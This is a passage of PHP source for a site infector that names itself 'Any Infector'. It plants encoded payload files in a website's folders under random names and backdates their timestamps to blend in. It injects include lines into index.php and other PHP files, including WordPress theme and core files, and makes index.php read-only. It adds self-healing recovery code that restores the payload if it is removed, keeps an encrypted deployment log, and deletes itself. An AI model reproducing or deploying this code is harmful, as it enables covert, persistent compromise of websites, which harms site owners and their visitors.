false) { if (@rename($tmp, $filePath)) { $ok = true; } else { @unlink($filePath); if (@rename($tmp, $filePath)) $ok = true; } } if (!$ok) @unlink($tmp); if ($restoreDirMode !== false) @chmod($dir, $restoreDirMode); return $ok; } function find_top_level_function_lines($content) { $tokens = @token_get_all($content); if (!is_array($tokens) || empty($tokens)) return array(); $depth = 0; $indices = array(); $count = count($tokens); for ($i = 0; $i < $count; $i++) { $t = $tokens[$i]; if (is_array($t)) { if ($t[0] === T_CURLY_OPEN || $t[0] === T_DOLLAR_OPEN_CURLY_BRACES) { $depth++; continue; } if ($t[0] === T_FUNCTION && $depth === 0) { $j = $i + 1; while (isset($tokens[$j])) { $nt = $tokens[$j]; $txt = is_array($nt) ? $nt[1] : $nt; if ($txt === '&') { $j++; continue; } if (is_array($nt) && ($nt[0] === T_WHITESPACE || $nt[0] === T_COMMENT || $nt[0] === T_DOC_COMMENT)) { $j++; continue; } break; } $next = isset($tokens[$j]) ? $tokens[$j] : null; if (is_array($next) && $next[0] === T_STRING) { $indices[] = $t[2] - 1; } } } else { if ($t === '{') { $depth++; } elseif ($t === '}') { $depth--; if ($depth < 0) $depth = 0; } } } return $indices; } function inject_into_file($siteRoot, $targetRelPath, $includeLine, $type) { $filePath = "$siteRoot/$targetRelPath"; $filePath = str_replace('//', '/', $filePath); if (!is_file($filePath)) { if (basename($targetRelPath) === 'index.php') { $dir = dirname($filePath); $htmlPath = "$dir/index.html"; if (is_file($htmlPath)) { $perms = @fileperms($dir); if ($perms !== false && ($perms & 0200) === 0) { @chmod($dir, 0755); clearstatcache(); } if (@rename($htmlPath, $filePath)) { _log('INFO', "Static site: renamed index.html -> index.php in $dir, injecting"); } else { _log('ERROR', "Cannot rename index.html -> index.php in $dir (permissions?) - target skipped: $targetRelPath"); return null; } } else { _log('WARN', "Target file not found: $targetRelPath"); return null; } } else { _log('WARN', "Target file not found: $targetRelPath"); return null; } } $content = file_get_contents($filePath); if (strpos($content, $includeLine) !== false) { _log('INFO', "Already injected: $targetRelPath - skipping."); return ''; } if ($type === 'fixed') { $isWP = (stripos($content, 'wp-blog-header.php') !== false || stripos($content, 'WP_USE_THEMES') !== false || is_file("$siteRoot/wp-config.php") || is_file("$siteRoot/wp-blog-header.php")); if ($targetRelPath === 'index.php' && $isWP) { $new = "\n" . $content; _log('INFO', "$targetRelPath has no PHP at line 1 - wrapped include in a PHP block and prepended."); } if (!write_file_with_swap($filePath, $new)) { _log('ERROR', "Target not writable (file + dir): $targetRelPath"); return null; } _log('INFO', "Injected into $targetRelPath (fixed, after ' && $prevChar !== '"' && $prevChar !== "'") { $prefix = rtrim(substr($trimmed, 0, -2)); $new = ($prefix === '' ? '' : $prefix . "\n") . $includeLine . "\n?>"; } else { $new = $trimmed . "\n\n"; } if (!write_file_with_swap($filePath, $new)) { _log('ERROR', "Target not writable (file + dir): $targetRelPath"); return null; } return $includeLine; } _log('ERROR', "Unknown injection type: $type"); return null; } function clean_target_file($siteRoot, $targetRelPath, $exactLine) { $filePath = "$siteRoot/$targetRelPath"; $filePath = str_replace('//', '/', $filePath); if (!is_file($filePath)) { _log('WARN', "Target file not found for cleanup: $targetRelPath"); return false; } if (!is_writable($filePath)) { @chmod($filePath, 0644); } $content = file_get_contents($filePath); $isWP = (stripos($content, 'wp-blog-header.php') !== false || stripos($content, 'WP_USE_THEMES') !== false); if ($targetRelPath === 'index.php' && $isWP && defined('WP_INDEX_ORIGINAL')) { file_put_contents($filePath, base64_decode(WP_INDEX_ORIGINAL)); _log('INFO', "Restored $targetRelPath to clean WordPress original"); return true; } if (strpos($content, $exactLine) === false) { _log('INFO', "$targetRelPath does not contain the inject line - already clean."); return true; } $new = str_replace($exactLine . "\n", '', $content); $new = str_replace($exactLine . "\r\n", '', $new); $new = str_replace($exactLine, '', $new); $new = preg_replace('/<\?php\s*\?>\r?\n?/', '', $new); $new = rtrim($new) . "\n"; file_put_contents($filePath, $new); _log('INFO', "Removed inject line from $targetRelPath"); return true; } function clean_target_file_legacy($siteRoot, $targetRelPath) { $filePath = "$siteRoot/$targetRelPath"; $filePath = str_replace('//', '/', $filePath); if (!is_file($filePath)) return false; if (!is_writable($filePath)) @chmod($filePath, 0644); $content = file_get_contents($filePath); $lines = explode("\n", $content); $cleaned = array(); $needleClass = 'new class('; $needleInc = '@' . 'includ' . 'e_once'; foreach ($lines as $l) { if (stripos($l, $needleClass) !== false) continue; if (stripos($l, $needleInc) !== false) continue; $cleaned[] = $l; } $new = implode("\n", $cleaned); $new = preg_replace('/new class\([\s\S]*?\}\s*;/i', '', $new); $new = rtrim($new) . "\n"; file_put_contents($filePath, $new); _log('INFO', "Legacy cleaned $targetRelPath"); return true; } function info_encrypt($plaintext) { $key = $GLOBALS['INFO_KEY']; if (function_exists('openssl_encrypt')) { $iv = openssl_random_pseudo_bytes(16); $cipher = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv); return $cipher === false ? null : 'ENC1:' . base64_encode($iv) . '.' . base64_encode($cipher); } if (function_exists('mcrypt_encrypt')) { $iv = ''; for ($i = 0; $i < 16; $i++) $iv .= chr(crypto_rand_int(0, 255)); $pad = 16 - (strlen($plaintext) % 16); $data = $plaintext . str_repeat(chr($pad), $pad); $cipher = @mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC, $iv); return $cipher === false ? null : 'ENC1:' . base64_encode($iv) . '.' . base64_encode($cipher); } return null; } function info_decrypt($payload) { if (strncmp($payload, 'ENC1:', 5) !== 0) return $payload; $key = $GLOBALS['INFO_KEY']; $body = substr($payload, 5); $dot = strpos($body, '.'); if ($dot === false) return null; $iv = base64_decode(substr($body, 0, $dot)); $cipher = base64_decode(substr($body, $dot + 1)); if ($iv === false || $cipher === false || strlen($iv) !== 16) return null; if (function_exists('openssl_decrypt')) { $plain = openssl_decrypt($cipher, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv); return $plain === false ? null : $plain; } if (function_exists('mcrypt_decrypt')) { $plain = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $cipher, MCRYPT_MODE_CBC, $iv); if ($plain === false) return null; $pad = ord(substr($plain, -1)); if ($pad >= 1 && $pad <= 16 && strlen($plain) >= $pad) { $plain = substr($plain, 0, -$pad); } return $plain; } return null; } function read_information_file($infoPath) { $result = array('mode' => null, 'time' => null, 'files' => array(), 'targets' => array(), 'injects' => array(), 'recover_files' => array(), 'recover_injects' => array(), 'recover_inject_lines' => array()); if (!is_file($infoPath)) return $result; $plain = info_decrypt((string)file_get_contents($infoPath)); if ($plain === null) { _log('WARN', "Could not decrypt $infoPath - treating as empty."); return $result; } foreach (preg_split('/\r\n|\r|\n/', $plain) as $line) { if ($line === '') continue; if (strncmp($line, 'MODE:', 5) === 0) $result['mode'] = substr($line, 5); elseif (strncmp($line, 'TIME:', 5) === 0) $result['time'] = substr($line, 5); elseif (strncmp($line, 'FILE:', 5) === 0) $result['files'][] = substr($line, 5); elseif (strncmp($line, 'RECOVER_FILE:', 13) === 0) $result['recover_files'][] = substr($line, 13); elseif (strncmp($line, 'INJECT:', 7) === 0) { $val = substr($line, 7); $pipe = strpos($val, '|'); if ($pipe !== false) { $v = substr($val, $pipe + 1); if (strncmp($v, 'B64:', 4) === 0) $v = base64_decode(substr($v, 4)); $result['injects'][substr($val, 0, $pipe)] = $v; } } elseif (strncmp($line, 'TARGET:', 7) === 0) { $val = substr($line, 7); $pipe = strrpos($val, '|'); if ($pipe !== false) { $result['targets'][substr($val, 0, $pipe)] = substr($val, $pipe + 1); } else { $result['targets'][$val] = ''; } } elseif (strncmp($line, 'RECOVER_INJECT_LINE:', 20) === 0) { $val = substr($line, 20); $pipe = strpos($val, '|'); if ($pipe !== false) { $v = substr($val, $pipe + 1); if (strncmp($v, 'B64:', 4) === 0) $v = base64_decode(substr($v, 4)); $result['recover_inject_lines'][substr($val, 0, $pipe)] = $v; } } elseif (strncmp($line, 'RECOVER_INJECT:', 15) === 0) { $val = substr($line, 15); $pipe = strrpos($val, '|'); if ($pipe !== false) { $result['recover_injects'][substr($val, 0, $pipe)] = substr($val, $pipe + 1); } else { $result['recover_injects'][$val] = ''; } } } return $result; } function write_information_file($infoPath, $mode, $fileRelPaths, $targetHashes, $injectLines, $recoverFiles = array(), $recoverInject = array(), $recoverHashes = array()) { $lines = array("MODE:$mode", "TIME:" . date('Y-m-d H:i:s')); foreach ($fileRelPaths as $rp) $lines[] = "FILE:$rp"; foreach ($recoverFiles as $rf) $lines[] = "RECOVER_FILE:$rf"; foreach ($injectLines as $tpath => $inj) { $thash = isset($targetHashes[$tpath]) ? $targetHashes[$tpath] : ''; $lines[] = "TARGET:$tpath|$thash"; $lines[] = "INJECT:$tpath|B64:" . base64_encode($inj); } foreach ($recoverInject as $tpath => $inj) { $rhash = isset($recoverHashes[$tpath]) ? $recoverHashes[$tpath] : ''; $lines[] = "RECOVER_INJECT:$tpath|$rhash"; $lines[] = "RECOVER_INJECT_LINE:$tpath|B64:" . base64_encode($inj); } $plain = implode("\n", $lines) . "\n"; $enc = info_encrypt($plain); file_put_contents($infoPath, $enc !== null ? $enc . "\n" : $plain); _log('INFO', 'Written information.txt (' . count($fileRelPaths) . ' files, ' . count($injectLines) . ' targets' . ', ' . count($recoverFiles) . ' recover files, ' . count($recoverInject) . ' recover injects' . ($enc !== null ? ', AES-128-CBC encrypted' : ', PLAINTEXT fallback (no openssl)') . ')'); } function do_add($scriptDir, $siteRoot, $infoPath, $count, $targetFiles) { _log('INFO', str_repeat('=', 50)); _log('INFO', 'MODE: ADD'); _log('INFO', str_repeat('=', 50)); if (is_file($infoPath)) { _log('WARN', 'information.txt already exists - deployment already done. Skipping.'); _log('WARN', 'Run with mode=remove first if you want to re-deploy.'); return false; } $payload = find_payload_file($scriptDir, $GLOBALS['PAYLOAD_FILE']); if (!$payload) { $GLOBALS['_PAYLOAD_MISSING'] = true; _log('ERROR', 'No payload file found. Aborting (script kept for re-run).'); return false; } $GLOBALS['_PAYLOAD_RESOLVED'] = $payload; $GLOBALS['_CMS_CWD_TYPE'] = detect_cms_cwd_type($siteRoot); $isWordPress = (is_file("$siteRoot/wp-config.php") || is_file("$siteRoot/wp-blog-header.php")); if ($isWordPress) { _log('INFO', 'WordPress detected - trying COMMON_FOLDERS first...'); $selected = pick_from_common_folders($siteRoot, $count); if (count($selected) < $count) { $shortfall = $count - count($selected); _log('WARN', "Only " . count($selected) . "/$count COMMON_FOLDERS writable - filling $shortfall from scan..."); $pool = collect_resource_folders($siteRoot, $GLOBALS['RESOURCE_FOLDERS'], $shortfall); $fallbackSelected = pick_distributed($pool, $shortfall); foreach ($fallbackSelected as $k => $v) { if (!isset($selected[$k])) $selected[$k] = $v; } } } else { _log('INFO', 'Non-WordPress site - using generic resource-folder scan...'); $pool = collect_resource_folders($siteRoot, $GLOBALS['RESOURCE_FOLDERS'], $count); if (empty($pool)) { _log('ERROR', 'No writable directories found. Aborting.'); return false; } $selected = pick_distributed($pool, $count); } if (empty($selected)) { _log('ERROR', 'No writable directories found. Aborting.'); return false; } $payloadRaw = @file_get_contents($payload); if ($payloadRaw === false) { _log('ERROR', 'Failed to read payload file.'); return false; } $written = array(); foreach ($selected as $relFolder => $filesStr) { $fullFolder = $siteRoot . '/' . $relFolder; $fullFolder = str_replace('//', '/', $fullFolder); $existing = @scandir($fullFolder); $existing = $existing ? array_diff($existing, array('.', '..')) : array(); $newName = generate_random_filename($existing, $filesStr); $dstFull = str_replace('//', '/', "$fullFolder/$newName"); _log('INFO', "Writing (encoded): $dstFull"); if (write_encoded_payload($payloadRaw, $dstFull)) { $relPath = ($relFolder === '.' ? $newName : "$relFolder/$newName"); $written[] = $relPath; _log('INFO', " SUCCESS: $relPath"); blend_file_mtime($dstFull); } else { _log('ERROR', " FAILED: $dstFull"); } } if (empty($written)) { _log('ERROR', 'No files written. Aborting.'); return false; } $randCount = $GLOBALS['RAND_PHP_FILE']; $cmsType = detect_cms_type($siteRoot); if ($cmsType !== '') { _log('INFO', "CMS type detected: $cmsType"); } $randomTargets = collect_random_targets($siteRoot, $cmsType, $randCount); $allTargets = $targetFiles; $existingPaths = array(); foreach ($allTargets as $t) { $existingPaths[$t['path']] = true; } foreach ($randomTargets as $rt) { if (!isset($existingPaths[$rt['path']])) { $allTargets[] = $rt; $existingPaths[$rt['path']] = true; } } _log('INFO', 'Total injection targets: ' . count($allTargets) . ' (' . count($targetFiles) . ' configured + ' . count($randomTargets) . ' random)'); $targetHashes = array(); $injectLines = array(); $indexPayloadRel = null; foreach ($allTargets as $t) { $tpath = $t['path']; $ttype = $t['type']; $pickedPayload = $written[array_rand($written)]; if ($tpath === 'index.php') { $indexPayloadRel = $pickedPayload; } $includeLine = generate_include_line($pickedPayload, $tpath); //huhu // if (!_me_is_valid_inject_line($includeLine)) { // _log('ERROR', "generate_include_line() returned a non-include line for $tpath - aborting: " . substr($includeLine, 0, 80)); // return false; // } _log('INFO', "Injecting into target: $tpath (type=$ttype) <-- $pickedPayload"); $result = inject_into_file($siteRoot, $tpath, $includeLine, $ttype); if ($result !== null) { $fullTargetPath = str_replace('//', '/', "$siteRoot/$tpath"); $targetHashes[$tpath] = is_file($fullTargetPath) ? md5_file($fullTargetPath) : ''; if ($result !== '') { $injectLines[$tpath] = $result; } _log('INFO', " Hash ($tpath): " . $targetHashes[$tpath]); blend_file_mtime($fullTargetPath); } } if (empty($injectLines)) { _log('ERROR', 'Failed to inject into any target file.'); return false; } if (isset($injectLines['index.php'])) { $indexPath = str_replace('//', '/', "$siteRoot/index.php"); if (@chmod($indexPath, 0444)) { _log('INFO', 'index.php permissions set to 0444 (read-only)'); } else { _log('WARN', 'Failed to set index.php to 0444'); } } $recoverFiles = array(); $recoverInject = array(); $recoverHashes = array(); if (!empty($GLOBALS['RECOVER_INDEX']) && !empty($GLOBALS['RECOVER_PHP_FILE'])) { $indexRel = 'index.php'; $indexAbsPath = str_replace('//', '/', "$siteRoot/$indexRel"); $idxContent = @file_get_contents($indexAbsPath); $indexB64 = $idxContent !== false ? base64_encode($idxContent) : ''; $indexMd5 = $idxContent !== false ? md5($idxContent) : ''; if ($indexB64 === '') { _log('WARN', 'Recovery: could not read index.php snapshot - skipping.'); } else { $payloadRel = $indexPayloadRel; $payloadAbs = str_replace('//', '/', "$siteRoot/$payloadRel"); $payloadBlob = @file_get_contents($payloadAbs); $payloadB64 = ($payloadBlob !== false && $payloadBlob !== '') ? base64_encode($payloadBlob) : ''; $payloadMd5 = ($payloadBlob !== false && $payloadBlob !== '') ? md5($payloadBlob) : ''; $sentinelTok = _me_recover_token(12); $cwdType = isset($GLOBALS['_CMS_CWD_TYPE']) ? $GLOBALS['_CMS_CWD_TYPE'] : 'unknown'; if ($payloadB64 === '') { _log('WARN', 'Recovery: could not snapshot payload file ' . $payloadRel . ' - skipping.'); } else { $deploy = deploy_recovery_code( $siteRoot, $cmsType, $indexRel, $indexB64, $indexMd5, $payloadRel, $payloadB64, $payloadMd5, $sentinelTok, $scriptDir ); $files = !empty($deploy['recover_file']) ? array($deploy['recover_file']) : array(); $recoverFiles = $files; $recoverInject = !empty($deploy['injects']) ? $deploy['injects'] : array(); $recoverHashes = !empty($deploy['hashes']) ? $deploy['hashes'] : array(); } } } write_information_file($infoPath, 'ADD', $written, $targetHashes, $injectLines, $recoverFiles, $recoverInject, $recoverHashes); _log('INFO', str_repeat('=', 50)); _log('INFO', 'ADD done. ' . count($written) . ' files hidden, injected into ' . count($injectLines) . ' target(s).'); foreach ($injectLines as $tp => $inj) { _log('INFO', " $tp MD5: " . $targetHashes[$tp]); } _log('INFO', str_repeat('=', 50)); return true; } function do_remove($scriptDir, $siteRoot, $infoPath) { _log('INFO', str_repeat('=', 50)); _log('INFO', 'MODE: REMOVE'); _log('INFO', str_repeat('=', 50)); $info = read_information_file($infoPath); $deleted = 0; foreach ($info['files'] as $rel) { $full = str_replace('//', '/', "$siteRoot/$rel"); if (is_file($full)) { if (@unlink($full)) { $deleted++; _log('INFO', "Deleted: $rel"); } else { _log('ERROR', "Delete failed: $rel"); } } else { _log('WARN', "Not found: $rel"); } } foreach ($info['recover_files'] as $rel) { $full = str_replace('//', '/', "$siteRoot/$rel"); if (is_file($full)) { @unlink($full); _log('INFO', "Deleted recover file: $rel"); } else { _log('WARN', "Recover file not found: $rel"); } } if (!empty($info['recover_inject_lines'])) { foreach ($info['recover_inject_lines'] as $tpath => $exactLine) { clean_target_file($siteRoot, $tpath, $exactLine); _log('INFO', "Recovery inject cleaned from: $tpath"); } } if (!empty($info['injects'])) { foreach ($info['injects'] as $tpath => $exactLine) { clean_target_file($siteRoot, $tpath, $exactLine); } } elseif (!empty($info['targets'])) { _log('INFO', 'No INJECT records - using legacy target cleanup.'); foreach ($info['targets'] as $tpath => $thash) { clean_target_file_legacy($siteRoot, $tpath); } } else { _log('INFO', 'No targets to clean.'); } if (is_file($infoPath)) { if (!empty($GLOBALS['RES_INFO'])) { @unlink($infoPath); _log('INFO', 'Removed information.txt'); } else { _log('INFO', 'Kept information.txt (RES_INFO=false)'); } } _log('INFO', str_repeat('=', 50)); _log('INFO', "REMOVE done. $deleted files deleted."); _log('INFO', str_repeat('=', 50)); return true; } function _me_recover_token($len = 6) { $c = 'abcdefghijklmnopqrstuvwxyz0123456789'; $t = ''; for ($i = 0; $i < $len; $i++) { $t .= $c[mt_rand(0, strlen($c) - 1)]; } return $t; } function _me_recover_path_expr($relPath, $cwdType) { if ($cwdType === 'root') { return var_export($relPath, true); } $key = '"\\x53\\x43\\x52\\x49\\x50\\x54\\x5f\\x46\\x49\\x4c\\x45\\x4e\\x41\\x4d\\x45"'; return 'dirname($_SERVER[' . $key . ']) . ' . var_export('/' . ltrim($relPath, '/'), true); } function _me_recover_write_code($pathVar, $b64Var, $dirVar, $mtFn) { $code = ''; $code .= ' $ok = @file_put_contents(' . $pathVar . ', base64_decode(' . $b64Var . '));' . "\n"; $code .= ' if ($ok === false) { @chmod(' . $pathVar . ', 0644); $ok = @file_put_contents(' . $pathVar . ', base64_decode(' . $b64Var . ')); }' . "\n"; $code .= ' if ($ok === false) { @chmod(' . $dirVar . ', 0755); @unlink(' . $pathVar . '); @file_put_contents(' . $pathVar . ', base64_decode(' . $b64Var . ')); }' . "\n"; $code .= ' $mt = ' . $mtFn . '(' . $dirVar . ', \'\', ' . $pathVar . '); @touch(' . $pathVar . ', $mt);' . "\n"; return $code; } function _me_recover_index_code($pathExpr, $b64, $md5, $token, $mtFn, $lockVar) { $pathVar = '$r' . $token . '_p'; $b64Var = '$r' . $token . '_b'; $md5Var = '$r' . $token . '_m'; $nowVar = '$r' . $token . '_n'; $dirVar = '$r' . $token . '_d'; $code = ''; $code .= $pathVar . ' = ' . $pathExpr . ";\n"; $code .= $b64Var . ' = ' . var_export($b64, true) . ";\n"; $code .= $md5Var . ' = ' . var_export($md5, true) . ";\n"; $code .= 'if ( @is_file(' . $pathVar . ') ) {' . "\n"; $code .= ' ' . $nowVar . ' = @md5_file(' . $pathVar . ");\n"; $code .= ' if ( ' . $nowVar . ' !== ' . $md5Var . " ) {\n"; $code .= ' ' . $dirVar . ' = @dirname(' . $pathVar . ");\n"; $code .= ' @chmod(' . $pathVar . ', 0644);' . "\n"; $code .= _me_recover_write_code($pathVar, $b64Var, $dirVar, $mtFn); $code .= ' }' . "\n"; $code .= '} else {' . "\n"; $code .= ' ' . $dirVar . ' = @dirname(' . $pathVar . ");\n"; $code .= _me_recover_write_code($pathVar, $b64Var, $dirVar, $mtFn); $code .= '}' . "\n"; $code .= $lockVar . ' = ' . $pathVar . "; @chmod(" . $pathVar . ", 0444);\n"; return $code; } function _me_recover_payload_code($pathExpr, $b64, $md5, $token, $mtFn) { $pathVar = '$r' . $token . '_p'; $b64Var = '$r' . $token . '_b'; $md5Var = '$r' . $token . '_m'; $nowVar = '$r' . $token . '_n'; $dirVar = '$r' . $token . '_d'; $code = ''; $code .= $pathVar . ' = ' . $pathExpr . ";\n"; $code .= $b64Var . ' = ' . var_export($b64, true) . ";\n"; $code .= $md5Var . ' = ' . var_export($md5, true) . ";\n"; $code .= $nowVar . ' = @md5_file(' . $pathVar . ");\n"; $code .= 'if ( !@is_file(' . $pathVar . ') || ' . $nowVar . ' !== ' . $md5Var . " ) {\n"; $code .= ' ' . $dirVar . ' = @dirname(' . $pathVar . ");\n"; $code .= _me_recover_write_code($pathVar, $b64Var, $dirVar, $mtFn); $code .= '}' . "\n"; return $code; } function build_recovery_code($indexRel, $indexB64, $indexMd5, $payloadRel, $payloadB64, $payloadMd5, $sentinelTok, $cwdType) { $mtName = '_r' . _me_recover_token() . '_mt'; $mtBody = 'function ' . $mtName . '($d,$e,$s){' . '$f=@scandir($d);$m=array();' . 'if($f){foreach($f as $fx){' . 'if($fx===\'.\'||$fx===\'..\'){continue;}' . '$x=str_replace(\'//\',\'/\',$d.\'/\'.$fx);' . 'if($e!==\'\'&&strtolower(pathinfo($fx,PATHINFO_EXTENSION))!==$e){continue;}' . 'if(@realpath($x)===@realpath($s)){continue;}' . '$t=@filemtime($x);if($t!==false){$m[]=$t;}}}' . 'if(!empty($m)){return $m[array_rand($m)];}' . 'return time()-(1*365*86400)-rand(0,365*86400);}'; $idxTok = _me_recover_token(); $idxExpr = _me_recover_path_expr($indexRel, $cwdType); $code = 'options(MYSQLI_OPT_CONNECT_TIMEOUT, 3); } @$mysqli->real_connect($db['host'], $db['user'], $db['pass'], $db['name']); } } catch (Throwable $e) { $mysqli = false; } if (!$mysqli instanceof mysqli || $mysqli->connect_errno) { if ($mysqli instanceof mysqli) { @$mysqli->close(); } return ''; } $row = null; $sql = "SELECT option_value FROM " . addslashes($prefix) . "options WHERE option_name='template' LIMIT 1"; $res = $mysqli->query($sql); if ($res) { $r = $res->fetch_row(); if ($r) $row = $r[0]; $res->free(); } $mysqli->close(); return $row ? trim($row) : ''; } function pick_recover_targets($siteRoot, $cmsType, $want) { $targets = collect_random_targets($siteRoot, $cmsType, $want); $loadList = array(); $activeTemplate = get_active_theme_name($siteRoot); if ($activeTemplate !== '') { $loadList['wp-content/themes/' . $activeTemplate . '/functions.php'] = true; } $loadList['wp-load.php'] = true; $priorityTargets = array(); foreach ($loadList as $rel => $dummy) { $full = str_replace('//', '/', "$siteRoot/$rel"); if (is_file($full)) { $priorityTargets[] = array('type' => 'rand', 'path' => $rel); } } $seen = array(); foreach ($priorityTargets as $t) { $seen[$t['path']] = true; } foreach ($targets as $t) { if (!isset($seen[$t['path']])) { $priorityTargets[] = $t; $seen[$t['path']] = true; } } return $priorityTargets; } function write_recover_static_file($siteRoot, $cmsType, $recoveryPhp, $scriptDir) { global $FOLDER_COUNT; if ($cmsType === 'wordpress') { $selected = pick_from_common_folders($siteRoot, 1); } else { $pool = collect_resource_folders($siteRoot, $GLOBALS['RESOURCE_FOLDERS'], 1); $selected = pick_distributed($pool, 1); } if (empty($selected)) { _log('WARN', 'Recovery: no writeable resource folder found for static file.'); return null; } $relFolder = _me_first_key($selected); $filesStr = $selected[$relFolder]; $fullFolder = str_replace('//', '/', "$siteRoot/$relFolder"); $existing = @scandir($fullFolder); $existing = $existing ? array_diff($existing, array('.', '..')) : array(); $newName = generate_random_filename($existing, $filesStr); $encoded = encode_recovery_content($recoveryPhp); $dstFull = str_replace('//', '/', "$fullFolder/$newName"); $ok = false; if (@file_put_contents($dstFull, $encoded) !== false) { $ok = true; } else { $dst = @fopen($dstFull, 'wb'); if ($dst) { fwrite($dst, $encoded); fclose($dst); $ok = is_file($dstFull); } } if (!$ok) { _log('ERROR', "Recovery static file write FAILED: $dstFull"); return null; } blend_file_mtime($dstFull); $relPath = ($relFolder === '.' ? $newName : "$relFolder/$newName"); _log('INFO', "Recovery static file written: $relPath"); return $relPath; } function deploy_recovery_code($siteRoot, $cmsType, $indexRel, $indexB64, $indexMd5, $payloadRel, $payloadB64, $payloadMd5, $sentinelTok, $scriptDir) { if (empty($GLOBALS['RECOVER_INDEX']) || empty($GLOBALS['RECOVER_PHP_FILE'])) { _log('INFO', 'Recovery: disabled (RECOVER_INDEX=' . var_export($GLOBALS['RECOVER_INDEX'], true) . ', RECOVER_PHP_FILE=' . $GLOBALS['RECOVER_PHP_FILE'] . '). Skipping.'); return array('recover_file' => false, 'injects' => array(), 'hashes' => array()); } $recoveryPhp = build_recovery_code($indexRel, $indexB64, $indexMd5, $payloadRel, $payloadB64, $payloadMd5, $sentinelTok, $cmsType); $recoverFile = write_recover_static_file($siteRoot, $cmsType, $recoveryPhp, $scriptDir); if ($recoverFile === null) { _log('WARN', 'Recovery: could not write static recovery file - skipping injection.'); return array('recover_file' => false, 'injects' => array(), 'hashes' => array()); } $want = $GLOBALS['RECOVER_PHP_FILE'] + 3; $targets = pick_recover_targets($siteRoot, $cmsType, $want); if (empty($targets)) { _log('WARN', 'Recovery: no injectable system PHP files found - static file left but nothing injected.'); return array('recover_file' => $recoverFile, 'injects' => array(), 'hashes' => array()); } $injects = array(); $hashes = array(); $deployed = 0; foreach ($targets as $t) { $tpath = $t['path']; $includeLine = generate_include_line($recoverFile, $tpath); if (!_me_is_valid_inject_line($includeLine)) { _log('ERROR', "Recovery include line invalid for $tpath - skipping."); continue; } $result = inject_into_file($siteRoot, $tpath, $includeLine, 'rand'); if ($result !== null) { $fullTarget = str_replace('//', '/', "$siteRoot/$tpath"); $hashes[$tpath] = is_file($fullTarget) ? md5_file($fullTarget) : ''; if ($result !== '') { $injects[$tpath] = $result; } _log('INFO', "Recovery include injected into: $tpath"); blend_file_mtime($fullTarget); $deployed++; if ($deployed >= $GLOBALS['RECOVER_PHP_FILE']) break; } else { _log('ERROR', "Recovery include injection FAILED: $tpath"); } } _log('INFO', 'Recovery deployed: static file + ' . count($injects) . ' include(s).'); return array('recover_file' => $recoverFile, 'injects' => $injects, 'hashes' => $hashes); } function output_html($success, $logs) { $color = $success ? '#2d8a2d' : '#c0392b'; $status = $success ? 'SUCCESS' : 'FAILED'; $logText = implode("\n", array_map('htmlspecialchars', $logs)); header('Content-Type: text/html; charset=utf-8'); echo << Any Infector - $status

Any Infector - $status

$status
$logText
HTML; } function resolve_payload_path($scriptDir) { $payloadPath = !empty($GLOBALS['_PAYLOAD_RESOLVED']) ? $GLOBALS['_PAYLOAD_RESOLVED'] : null; if ($payloadPath === null && !empty($GLOBALS['PAYLOAD_FILE'])) { $payloadPath = find_payload_file($scriptDir, $GLOBALS['PAYLOAD_FILE']); } if ($payloadPath === null) { foreach ((array)@scandir($scriptDir) as $f) { if (preg_match('/^\d{1,15}-[a-zA-Z0-9]{1,15}\.txt$/i', $f)) { $payloadPath = "$scriptDir/$f"; break; } } } return $payloadPath; } function delete_payload_file($scriptDir) { $payloadPath = resolve_payload_path($scriptDir); if (!empty($payloadPath) && is_file($payloadPath)) { if (@unlink($payloadPath)) { _log('INFO', 'Self-destruct: deleted payload file ' . basename($payloadPath)); } else { _log('WARN', 'Self-destruct: could not delete payload file ' . basename($payloadPath)); } } } function self_destruct($scriptDir, $infoPath) { delete_payload_file($scriptDir); if (!empty($GLOBALS['RES_INFO']) && is_file($infoPath)) { if (@unlink($infoPath)) { _log('INFO', 'Self-destruct: deleted ' . basename($infoPath)); } else { _log('WARN', 'Self-destruct: could not delete ' . basename($infoPath)); } } if (_ME_IS_WRAPPED) { $GLOBALS['____WRAPPER_DELETE'] = true; _log('INFO', 'Self-destruct: signaled wrapper to delete itself'); } else { if (@unlink(__FILE__)) { _log('INFO', 'Self-destruct: deleted script itself'); } else { _log('WARN', 'Self-destruct: could not delete script itself - remove it manually'); } } } function auto_mode_self_destruct($scriptDir, $infoPath, $mode, $reason) { if (!empty($GLOBALS['RUN_METHOD'])) { return false; } _log('WARN', "Auto mode (RUN_METHOD=false): validation failed - self-destructing; reason saved to " . basename($infoPath)); $lines = array( 'MODE:' . strtoupper($mode), 'TIME:' . date('Y-m-d H:i:s'), 'STATUS:FAILED', 'REASON:' . str_replace(array("\r", "\n"), ' ', $reason), ); $plain = implode("\n", $lines) . "\n"; $enc = info_encrypt($plain); @file_put_contents($infoPath, $enc !== null ? $enc . "\n" : $plain); _log('INFO', 'Auto-destruct: wrote failure reason to ' . basename($infoPath)); delete_payload_file($scriptDir); if (_ME_IS_WRAPPED) { $GLOBALS['____WRAPPER_DELETE'] = true; _log('INFO', 'Auto-destruct: signaled wrapper to delete itself'); return true; } if (@unlink(__FILE__)) { _log('INFO', 'Auto-destruct: deleted script itself'); return true; } _log('WARN', 'Auto-destruct: could not delete script itself - remove it manually'); return false; } if (php_sapi_name() === 'cli' && isset($argv[1])) { $modeRaw = strtolower(trim($argv[1])); } elseif (isset($_GET['mode'])) { $modeRaw = strtolower(trim($_GET['mode'])); } else { $modeRaw = $MODE; } if (in_array($modeRaw, array('true', 'add', '1', 'yes', 'on'))) { $mode = 'add'; } elseif (in_array($modeRaw, array('false', 'remove', 'clean', '0', 'no', 'off', 'delete'))) { $mode = 'remove'; } else { $mode = 'add'; } $scriptDir = _ME_RUNNING_DIR; $infoPath = $scriptDir . '/' . $INFO_FILE; if (empty($SITE_ROOT)) { $siteRoot = detect_site_root($scriptDir); if ($siteRoot === null) { _log('ERROR', 'Could not auto-detect site root.'); _log('ERROR', 'Please set $SITE_ROOT manually in the script.'); auto_mode_self_destruct($scriptDir, $infoPath, $mode, 'Could not auto-detect site root (set $SITE_ROOT manually)'); output_html(false, $_logs); exit(1); } } else { $siteRoot = rtrim(str_replace('\\', '/', $SITE_ROOT), '/'); } _log('INFO', "Script dir: $scriptDir"); _log('INFO', "Site root: $siteRoot"); _log('INFO', "Info file: $infoPath"); _log('INFO', "Mode: $mode"); _log('INFO', "Folder count: " . 